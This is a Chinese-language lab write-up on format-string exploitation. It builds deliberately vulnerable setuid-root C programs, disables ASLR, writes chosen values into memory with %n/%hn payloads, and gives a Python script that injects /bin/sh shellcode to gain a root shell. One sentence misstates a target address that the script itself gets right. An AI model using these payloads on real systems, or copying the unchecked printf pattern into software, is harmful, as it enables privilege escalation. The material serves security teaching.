1. 攻击一至四

1.1 漏洞程序和实验准备

准备如下实验程序：

```
// vul.c

#include <stdio.h>

void fmtstr() {
    char input[100];
    int var = 0x11223344;

    // print out info for experiment purpose
    printf("Target address: %x\n", (unsigned) &var);
    printf("Data at target address: 0x%x\n", var);

    printf("Please enter a string: ");
    fgets(input, sizeof(input) - 1, stdin);

    printf(input);

    printf("Data at target address: 0x%x\n", var);
}

void main() {
    fmtstr();
}
```

编译程序并更改为setuid程序：

```
gcc -o vul vul.c
sudo chown root vul
sudo chmod 4755 vul
# 关闭地址随机化
sudo sysctl -w kernel.randomize_va_space=0
```

攻击一、二手动输入字符串即可，此处略。

1.2 攻击三：修改内存中的程序数据

首先，根据运行程序打印的值，可知变量var的地址，我的机器上为0Xbfffed04。

```
# 根据如下命令生成输入程序的字符串：
echo $(printf "\x04\xed\xff\xbf").%x.%x.%x.%x.%x.%n > input
# 执行程序：
./vul < input
# 变量var处的值改变
...
```

```
...
Data at target address: 0x2a # 不同机器可能数值不同
```

1.3 攻击四：修改内存中的程序数据为定值

该实验通过控制输出精度来写入定值。

```
# 包含4 + 8*4 + 10 000 000 = 0x9896a4个字符
echo $(printf "\x04\xed\xff\xbf")%.8x%.8x%.8x%.8x%.10000000x%n >
input
# 执行程序
./vul < input
# 可观察到变量值的改变
Data at target address: 0x9896a4
```

1.4 攻击四（续）：更快的方法

该实验将var值改成0x66887799，变量var的地址为0xbfffed04。如果使用%hn写两次，因为写入值和打印字符的长度相关，而打印字符长度只会越来越长，故则先写入小的值0x6688，再写入0x7799。在小端字节序下，0X6688应写入高地址0Xbfffed06，0x7799应写入低地址0xbfffed04。

```
# 在第一个%hn处写入0X6688，即26248个字符。26248 - 4*3 - 8*4 = 26204，故
# 设置第一个%hn为%26204hn。同理可得第二个%hn精度为0x7799 - 0X6688 = 0X1111
= 4369。
echo $(printf
"\x06\xed\xff\xbf@@@@\x04\xed\xff\xbf")%.8x%.8x%.8x%.8x%.26204x%hn%.4
369x%hn > input
# 执行程序
./vul < input
# 可观察到变量值的改变
Data at target address: 0x66887799
```

2. 攻击五：注入恶意代码

首先准备漏洞程序：

```
// fmtvul.c

#include "stdio.h"

void fmtstr(char *str) {
    unsigned int *framep;
    unsigned int *ret;

    // copy ebp into framep
    asm("movl %%ebp, %0" : "=r" (framep));
    ret = framep + 1;

    printf("address of input array: 0x%.8x\n", (unsigned)str);
    printf("value of the frame pointer: 0x%.8x\n", (unsigned)framep);
    printf("value of the return address: 0x%.8x\n", (unsigned)*ret);
```

```
    printf(str);
}

int main(int argc, char **argv) {
    FILE *badfile;
    char str[200];

    badfile = fopen("badfile", "rb");
    fread(str, sizeof(char), 200, badfile);
    fmtstr(str);

    return 1;
}
```

编译漏洞程序的命令如下：

```
gcc -z execstack -o fmtvul fmtvul.c
sudo chown root fmtvul
sudo chmod 4755 fmtvul
```

通过运行程序可知变量str的起始地址（我的机器为0xbfffecb4），可知main调用fmtstr时push到栈中的函数返回地址（frame pointer值加上4个字节，我的机器为0xbfffec8c）。**假设我们将shellcode写入距离str偏移0x90的位置，即写入0xbfffed44。那么，我们就需要将shellcode的地址0xbfffed44填充到返回地址0xbfffec8c处，按照上一个实验%hn的填充方法，即需要先将0xbfff写入0xbfffec8e，再将0xed44写入到0xbfffed8c。**

相应的脚本如下：

```
#!/usr/bin/python3

import sys

shellcode = (
    "\x31\xc0\x31\xdb\xb0\xd5\xcd\x80"
    "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50"
    "\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x00"
).encode('latin-1')

N = 200

content = bytearray(0x90 for i in range(N))
start = N - len(shellcode)
content[start:] = shellcode

addr1 = 0xbfffec8e
addr2 = 0xbfffec8c
content[0:4] = (addr1).to_bytes(4, byteorder='little')
content[4:8] = ("@@@@").encode('latin-1')
content[8:12] = (addr2).to_bytes(4, byteorder='little')

small = 0xbfff - 12 - 19*8
```

```
large = 0xed44 - 0xbfff
s = "%.8x"*19 + "%." + str(small) + "x%hn%." + str(large) + "x%hn"
fmt = (s).encode('latin-1')
content[12:12+len(fmt)] = fmt

with open('badfile', 'wb') as wb:
    wb.write(content)
```

其中，如下行需要根据你自己的机器进行填写：

```
...
addr1 = 0xbfffec8e
addr2 = 0xbfffec8c
...
small = 0xbfff - 12 - 19*8
large = 0xed44 - 0xbfff
s = "%.8x"*19 + "%." + str(small) + "x%hn%." + str(large) + "x%hn"
...
```

执行上述程序后，生成badfile，再执行fmtvul，可获得shell。